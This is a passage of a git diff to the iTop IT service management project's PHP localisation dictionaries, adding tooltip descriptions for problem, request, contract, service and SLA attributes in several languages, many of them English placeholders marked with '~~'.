'Class:Problem/Attribute:related_request_list+' => 'All the requests that are related to this problem~~', 'Class:Problem/Attribute:related_incident_list' => 'Verknüpfte Incidents', 'Class:Problem/Attribute:related_incident_list+' => 'Alle Incidents, die mit diesem Problem verknüpft sind', 'Class:Problem/Stimulus:ev_assign' => 'Zuweisen', diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/fr.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/fr.dict.itop-problem-mgmt.php index 4a94b290c..40ac33084 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/fr.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/fr.dict.itop-problem-mgmt.php @@ -110,11 +110,11 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Problem/Attribute:resolution_date' => 'Date de résolution', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => 'Erreurs connues', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'Toutes les erreurs connues liées à ce problème', 'Class:Problem/Attribute:related_request_list' => 'Requêtes liées', - 'Class:Problem/Attribute:related_request_list+' => '', + 'Class:Problem/Attribute:related_request_list+' => 'Toutes les requêtes liées à ce problème', 'Class:Problem/Attribute:related_incident_list' => 'Incidents liés', - 'Class:Problem/Attribute:related_incident_list+' => '', + 'Class:Problem/Attribute:related_incident_list+' => 'Tous les incidents liés à ce problème', 'Class:Problem/Stimulus:ev_assign' => 'Assigner', 'Class:Problem/Stimulus:ev_assign+' => '', 'Class:Problem/Stimulus:ev_reassign' => 'Réaassigner', diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/hu.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/hu.dict.itop-problem-mgmt.php index b8d5ab2f6..22deaffdd 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/hu.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/hu.dict.itop-problem-mgmt.php @@ -107,7 +107,7 @@ Dict::Add('HU HU', 'Hungarian', 'Magyar', array( 'Class:Problem/Attribute:resolution_date' => 'Megoldás dátuma', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => 'Ismert hibák', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'All the known errors that are linked to this problem~~', 'Class:Problem/Attribute:related_request_list' => 'Related requests~~', 'Class:Problem/Attribute:related_request_list+' => 'All the requests that are related to this problem~~', 'Class:Problem/Attribute:related_incident_list' => 'Related incidents~~', diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/it.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/it.dict.itop-problem-mgmt.php index 1a96be152..235282dd3 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/it.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/it.dict.itop-problem-mgmt.php @@ -107,7 +107,7 @@ Dict::Add('IT IT', 'Italian', 'Italiano', array( 'Class:Problem/Attribute:resolution_date' => 'Data di risoluzione', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => 'Errori Conosciuti', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'All the known errors that are linked to this problem~~', 'Class:Problem/Attribute:related_request_list' => 'Richiesta collegata', 'Class:Problem/Attribute:related_request_list+' => 'Tutte le richieste collegate a questo problema', 'Class:Problem/Attribute:related_incident_list' => 'Incidenti collegati', diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/ja.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/ja.dict.itop-problem-mgmt.php index b26de58d8..65c6bfd87 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/ja.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/ja.dict.itop-problem-mgmt.php @@ -107,9 +107,9 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:Problem/Attribute:resolution_date' => '解決日', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => '既知のエラー', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'All the known errors that are linked to this problem~~', 'Class:Problem/Attribute:related_request_list' => '関連する要求', - 'Class:Problem/Attribute:related_request_list+' => '', + 'Class:Problem/Attribute:related_request_list+' => 'All the requests that are related to this problem~~', 'Class:Problem/Attribute:related_incident_list' => 'Related incidents~~', 'Class:Problem/Attribute:related_incident_list+' => 'All the incidents that are related to this problem~~', 'Class:Problem/Stimulus:ev_assign' => '割り当て', diff --git a/datamodels/2.x/itop-problem-mgmt/dictionaries/tr.dict.itop-problem-mgmt.php b/datamodels/2.x/itop-problem-mgmt/dictionaries/tr.dict.itop-problem-mgmt.php index 2ace4f05b..b6a3172c5 100644 --- a/datamodels/2.x/itop-problem-mgmt/dictionaries/tr.dict.itop-problem-mgmt.php +++ b/datamodels/2.x/itop-problem-mgmt/dictionaries/tr.dict.itop-problem-mgmt.php @@ -132,7 +132,7 @@ Dict::Add('TR TR', 'Turkish', 'Türkçe', array( 'Class:Problem/Attribute:resolution_date' => 'Çözülme tarihi', 'Class:Problem/Attribute:resolution_date+' => '', 'Class:Problem/Attribute:knownerrors_list' => 'Bilinen Hatalar', - 'Class:Problem/Attribute:knownerrors_list+' => '', + 'Class:Problem/Attribute:knownerrors_list+' => 'All the known errors that are linked to this problem~~', 'Class:Problem/Attribute:related_request_list' => 'İlgili Talepler', 'Class:Problem/Attribute:related_request_list+' => 'Bu problemle ilgili tüm talepler', 'Class:Problem/Attribute:related_incident_list' => 'İlişkili Olaylar', diff --git a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/da.dict.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/da.dict.itop-request-mgmt-itil.php index 344a0857b..ac0511a81 100644 --- a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/da.dict.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/da.dict.itop-request-mgmt-itil.php @@ -203,7 +203,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:UserRequest/Attribute:parent_incident_ref' => 'Parent incident ref~~', 'Class:UserRequest/Attribute:parent_incident_ref+' => '~~', 'Class:UserRequest/Attribute:related_request_list' => 'Afledte Anmodninger', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Offentlig Log', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Brugertilfredshed', diff --git a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/de.dict.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/de.dict.itop-request-mgmt-itil.php index 769e63ba7..cd6d95deb 100644 --- a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/de.dict.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/de.dict.itop-request-mgmt-itil.php @@ -203,7 +203,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:UserRequest/Attribute:parent_incident_ref' => 'Parent-Incident-Referenz', 'Class:UserRequest/Attribute:parent_incident_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Abgeleitete Requests', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Öffentliches Log', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Benutzerzufriedenheit', diff --git a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/fr.dict.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/fr.dict.itop-request-mgmt-itil.php index 580b1a685..4860795df 100644 --- a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/fr.dict.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/fr.dict.itop-request-mgmt-itil.php @@ -203,7 +203,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:UserRequest/Attribute:parent_incident_ref' => 'Référence Incident parent', 'Class:UserRequest/Attribute:parent_incident_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Requêtes filles', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'Toutes les requêtes liées à cette requête parente', 'Class:UserRequest/Attribute:public_log' => 'Journal public', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Satisfaction client', diff --git a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/ja.dict.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/ja.dict.itop-request-mgmt-itil.php index d866db0e0..1723ed95d 100644 --- a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/ja.dict.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/ja.dict.itop-request-mgmt-itil.php @@ -200,7 +200,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:UserRequest/Attribute:parent_incident_ref' => 'Parent incident ref~~', 'Class:UserRequest/Attribute:parent_incident_ref+' => '~~', 'Class:UserRequest/Attribute:related_request_list' => '子要求', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => '公開ログ', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'ユーザ満足度', diff --git a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/sk.dict.itop-request-mgmt-itil.php b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/sk.dict.itop-request-mgmt-itil.php index db8b811f3..4af34c562 100644 --- a/datamodels/2.x/itop-request-mgmt-itil/dictionaries/sk.dict.itop-request-mgmt-itil.php +++ b/datamodels/2.x/itop-request-mgmt-itil/dictionaries/sk.dict.itop-request-mgmt-itil.php @@ -200,7 +200,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:UserRequest/Attribute:parent_incident_ref' => 'Parent incident ref~~', 'Class:UserRequest/Attribute:parent_incident_ref+' => '~~', 'Class:UserRequest/Attribute:related_request_list' => 'Podriadené požiadavky', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Verejný záznam', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Spokojnosť užívateľa', diff --git a/datamodels/2.x/itop-request-mgmt/dictionaries/da.dict.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/dictionaries/da.dict.itop-request-mgmt.php index 38a401027..ad5fd53d9 100644 --- a/datamodels/2.x/itop-request-mgmt/dictionaries/da.dict.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/dictionaries/da.dict.itop-request-mgmt.php @@ -205,7 +205,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:UserRequest/Attribute:parent_change_ref' => 'Reference Change', 'Class:UserRequest/Attribute:parent_change_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Afledte Anmodninger', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Offentlig Log', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Brugertilfredshed', diff --git a/datamodels/2.x/itop-request-mgmt/dictionaries/de.dict.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/dictionaries/de.dict.itop-request-mgmt.php index 1aa8b8baa..a6f2dae7a 100644 --- a/datamodels/2.x/itop-request-mgmt/dictionaries/de.dict.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/dictionaries/de.dict.itop-request-mgmt.php @@ -205,7 +205,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:UserRequest/Attribute:parent_change_ref' => 'Referenz Change', 'Class:UserRequest/Attribute:parent_change_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Abgeleitete Requests', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Öffentliches Log', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Benutzerzufriedenheit', diff --git a/datamodels/2.x/itop-request-mgmt/dictionaries/fr.dict.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/dictionaries/fr.dict.itop-request-mgmt.php index 63f42c472..bc1e72b28 100644 --- a/datamodels/2.x/itop-request-mgmt/dictionaries/fr.dict.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/dictionaries/fr.dict.itop-request-mgmt.php @@ -205,7 +205,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:UserRequest/Attribute:parent_change_ref' => 'Ref Changement parent', 'Class:UserRequest/Attribute:parent_change_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Requêtes filles', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'Toutes les requêtes liées à cette requête parente', 'Class:UserRequest/Attribute:public_log' => 'Journal public', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Satisfaction client', diff --git a/datamodels/2.x/itop-request-mgmt/dictionaries/ja.dict.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/dictionaries/ja.dict.itop-request-mgmt.php index e3d5fa6b8..17dcb6666 100644 --- a/datamodels/2.x/itop-request-mgmt/dictionaries/ja.dict.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/dictionaries/ja.dict.itop-request-mgmt.php @@ -202,7 +202,7 @@ Dict::Add('JA JP', 'Japanese', '日本語', array( 'Class:UserRequest/Attribute:parent_change_ref' => '参照変更', 'Class:UserRequest/Attribute:parent_change_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => '子要求', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => '公開ログ', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'ユーザ満足度', diff --git a/datamodels/2.x/itop-request-mgmt/dictionaries/sk.dict.itop-request-mgmt.php b/datamodels/2.x/itop-request-mgmt/dictionaries/sk.dict.itop-request-mgmt.php index 07c5d2448..88e7184ff 100644 --- a/datamodels/2.x/itop-request-mgmt/dictionaries/sk.dict.itop-request-mgmt.php +++ b/datamodels/2.x/itop-request-mgmt/dictionaries/sk.dict.itop-request-mgmt.php @@ -202,7 +202,7 @@ Dict::Add('SK SK', 'Slovak', 'Slovenčina', array( 'Class:UserRequest/Attribute:parent_change_ref' => 'Referencia na zmenu', 'Class:UserRequest/Attribute:parent_change_ref+' => '', 'Class:UserRequest/Attribute:related_request_list' => 'Podriadené požiadavky', - 'Class:UserRequest/Attribute:related_request_list+' => '', + 'Class:UserRequest/Attribute:related_request_list+' => 'All the requests that are linked to this parent request~~', 'Class:UserRequest/Attribute:public_log' => 'Verejný záznam', 'Class:UserRequest/Attribute:public_log+' => '', 'Class:UserRequest/Attribute:user_satisfaction' => 'Spokojnosť užívateľa', diff --git a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/da.dict.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/da.dict.itop-service-mgmt-provider.php index 4510cc7ce..d03f031c3 100644 --- a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/da.dict.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/da.dict.itop-service-mgmt-provider.php @@ -96,9 +96,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Contract/Attribute:organization_name' => 'Organisations navn', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakter', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Dokumenter', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Beskrivelse', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Startdato', @@ -145,11 +145,11 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:CustomerContract' => 'Kundekontrakt', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Ydelser', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', 'Class:CustomerContract/Attribute:functionalcis_list' => 'CIs', - 'Class:CustomerContract/Attribute:functionalcis_list+' => '', + 'Class:CustomerContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this contract~~', 'Class:CustomerContract/Attribute:providercontracts_list' => 'Leverandørkontrakter', - 'Class:CustomerContract/Attribute:providercontracts_list+' => '', + 'Class:CustomerContract/Attribute:providercontracts_list+' => 'All the provider contracts to deliver the services for this contract (underpinning contract)~~', )); // @@ -160,7 +160,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:ProviderContract' => 'Leverandørkontrakt', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CIs', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => '', 'Class:ProviderContract/Attribute:coverage' => 'Servicetider', @@ -230,7 +230,7 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon~~', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Ydelser', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -253,9 +253,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Service/Attribute:servicefamily_name' => 'Ydelses familie navn', 'Class:Service/Attribute:servicefamily_name+' => '', 'Class:Service/Attribute:documents_list' => 'Dokument', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakt', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Status', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementering', @@ -267,9 +267,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:Service/Attribute:icon' => 'Icon~~', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Kundekontrakt', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Ydelses underkategorier', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -355,9 +355,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:SLA/Attribute:organization_name' => 'Organisations navn', 'Class:SLA/Attribute:organization_name+' => '', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => 'Kundekontrakt', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Could not save link with Customer contract %1$s and service %2$s : SLA already exists~~', )); @@ -500,9 +500,9 @@ Dict::Add('DA DA', 'Danish', 'Dansk', array( 'Class:DeliveryModel/Attribute:description' => 'Beskrivelse', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakt', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Kunde', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/de.dict.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/de.dict.itop-service-mgmt-provider.php index 2030c9226..ba4929e10 100644 --- a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/de.dict.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/de.dict.itop-service-mgmt-provider.php @@ -98,9 +98,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Contract/Attribute:organization_name' => 'Organizations-Name', 'Class:Contract/Attribute:organization_name+' => '', 'Class:Contract/Attribute:contacts_list' => 'Kontakte', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'All the contacts for this customer contract~~', 'Class:Contract/Attribute:documents_list' => 'Dokumente', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'All the documents for this customer contract~~', 'Class:Contract/Attribute:description' => 'Beschreibung', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Startdatum', @@ -147,11 +147,11 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:CustomerContract' => 'Kundenvertrag', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Services', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'All the services purchased for this contract~~', 'Class:CustomerContract/Attribute:functionalcis_list' => 'CIs', - 'Class:CustomerContract/Attribute:functionalcis_list+' => '', + 'Class:CustomerContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this contract~~', 'Class:CustomerContract/Attribute:providercontracts_list' => 'Provider-Verträge', - 'Class:CustomerContract/Attribute:providercontracts_list+' => '', + 'Class:CustomerContract/Attribute:providercontracts_list+' => 'All the provider contracts to deliver the services for this contract (underpinning contract)~~', )); // @@ -162,7 +162,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:ProviderContract' => 'Provider-Vertrag', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CIs', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'All the configuration items covered by this provider contract~~', 'Class:ProviderContract/Attribute:sla' => 'SLA', 'Class:ProviderContract/Attribute:sla+' => '', 'Class:ProviderContract/Attribute:coverage' => 'Servicezeiten', @@ -232,7 +232,7 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:ServiceFamily/Attribute:icon' => 'Icon', 'Class:ServiceFamily/Attribute:icon+' => '', 'Class:ServiceFamily/Attribute:services_list' => 'Services', - 'Class:ServiceFamily/Attribute:services_list+' => '', + 'Class:ServiceFamily/Attribute:services_list+' => 'All the services in this category~~', )); // @@ -255,9 +255,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Service/Attribute:servicefamily_name' => 'Service-Familien-Name', 'Class:Service/Attribute:servicefamily_name+' => '', 'Class:Service/Attribute:documents_list' => 'Dokumente', - 'Class:Service/Attribute:documents_list+' => '', + 'Class:Service/Attribute:documents_list+' => 'All the documents linked to the service~~', 'Class:Service/Attribute:contacts_list' => 'Kontakte', - 'Class:Service/Attribute:contacts_list+' => '', + 'Class:Service/Attribute:contacts_list+' => 'All the contacts for this service~~', 'Class:Service/Attribute:status' => 'Status', 'Class:Service/Attribute:status+' => '', 'Class:Service/Attribute:status/Value:implementation' => 'Implementierung', @@ -269,9 +269,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:Service/Attribute:icon' => 'Icon', 'Class:Service/Attribute:icon+' => '', 'Class:Service/Attribute:customercontracts_list' => 'Kunden-Verträge', - 'Class:Service/Attribute:customercontracts_list+' => '', + 'Class:Service/Attribute:customercontracts_list+' => 'All the customer contracts that have purchased this service~~', 'Class:Service/Attribute:servicesubcategories_list' => 'Service-Unterkategorien', - 'Class:Service/Attribute:servicesubcategories_list+' => '', + 'Class:Service/Attribute:servicesubcategories_list+' => 'All the sub categories for this service~~', )); // @@ -357,9 +357,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:SLA/Attribute:organization_name' => 'Organisations-Name', 'Class:SLA/Attribute:organization_name+' => '', 'Class:SLA/Attribute:slts_list' => 'SLTs', - 'Class:SLA/Attribute:slts_list+' => '', + 'Class:SLA/Attribute:slts_list+' => 'All the service level targets for this SLA~~', 'Class:SLA/Attribute:customercontracts_list' => 'Kunden-Verträge', - 'Class:SLA/Attribute:customercontracts_list+' => '', + 'Class:SLA/Attribute:customercontracts_list+' => 'All the customer contracts using this SLA~~', 'Class:SLA/Error:UniqueLnkCustomerContractToService' => 'Konnte Link zwischen Kundevertrag %1$s und Service %2$s nicht speichern: SLA existiert bereits', )); @@ -502,9 +502,9 @@ Dict::Add('DE DE', 'German', 'Deutsch', array( 'Class:DeliveryModel/Attribute:description' => 'Beschreibung', 'Class:DeliveryModel/Attribute:description+' => '', 'Class:DeliveryModel/Attribute:contacts_list' => 'Kontakte', - 'Class:DeliveryModel/Attribute:contacts_list+' => '', + 'Class:DeliveryModel/Attribute:contacts_list+' => 'All the contacts (Teams and Person) for this delivery model~~', 'Class:DeliveryModel/Attribute:customers_list' => 'Kunden', - 'Class:DeliveryModel/Attribute:customers_list+' => '', + 'Class:DeliveryModel/Attribute:customers_list+' => 'All the customers having this delivering model~~', )); // diff --git a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/fr.dict.itop-service-mgmt-provider.php b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/fr.dict.itop-service-mgmt-provider.php index 39099db67..679a059c6 100644 --- a/datamodels/2.x/itop-service-mgmt-provider/dictionaries/fr.dict.itop-service-mgmt-provider.php +++ b/datamodels/2.x/itop-service-mgmt-provider/dictionaries/fr.dict.itop-service-mgmt-provider.php @@ -98,9 +98,9 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:Contract/Attribute:organization_name' => 'Nom client', 'Class:Contract/Attribute:organization_name+' => 'Nom commun', 'Class:Contract/Attribute:contacts_list' => 'Contacts', - 'Class:Contract/Attribute:contacts_list+' => '', + 'Class:Contract/Attribute:contacts_list+' => 'Tous les contacts for ce contrat client', 'Class:Contract/Attribute:documents_list' => 'Documents', - 'Class:Contract/Attribute:documents_list+' => '', + 'Class:Contract/Attribute:documents_list+' => 'Tous les documents for ce contrat client', 'Class:Contract/Attribute:description' => 'Description', 'Class:Contract/Attribute:description+' => '', 'Class:Contract/Attribute:start_date' => 'Date de début', @@ -147,11 +147,11 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:CustomerContract' => 'Contrat client', 'Class:CustomerContract+' => '', 'Class:CustomerContract/Attribute:services_list' => 'Services', - 'Class:CustomerContract/Attribute:services_list+' => '', + 'Class:CustomerContract/Attribute:services_list+' => 'Tous les services achetés pour ce contrat', 'Class:CustomerContract/Attribute:functionalcis_list' => 'CIs', - 'Class:CustomerContract/Attribute:functionalcis_list+' => '', + 'Class:CustomerContract/Attribute:functionalcis_list+' => 'Tous les éléments de configuration couverts par ce contrat', 'Class:CustomerContract/Attribute:providercontracts_list' => 'Contrats fournisseur', - 'Class:CustomerContract/Attribute:providercontracts_list+' => '', + 'Class:CustomerContract/Attribute:providercontracts_list+' => 'Tous les contrats fournisseurs permettant de délivrer ces services pour ce contrat (contrats sous-jacents)', )); // @@ -162,7 +162,7 @@ Dict::Add('FR FR', 'French', 'Français', array( 'Class:ProviderContract' => 'Contrat fournisseur', 'Class:ProviderContract+' => '', 'Class:ProviderContract/Attribute:functionalcis_list' => 'CIs', - 'Class:ProviderContract/Attribute:functionalcis_list+' => '', + 'Class:ProviderContract/Attribute:functionalcis_list+' => 'Tous les éléments de configuration couverts par ce contrat fournisseur', 'Class:ProviderContract/Attribute:sla' => 'Niveau de service', 'Class:ProviderContract/Attribute:sla+' => 'Accord de niveau de service (SLA)', 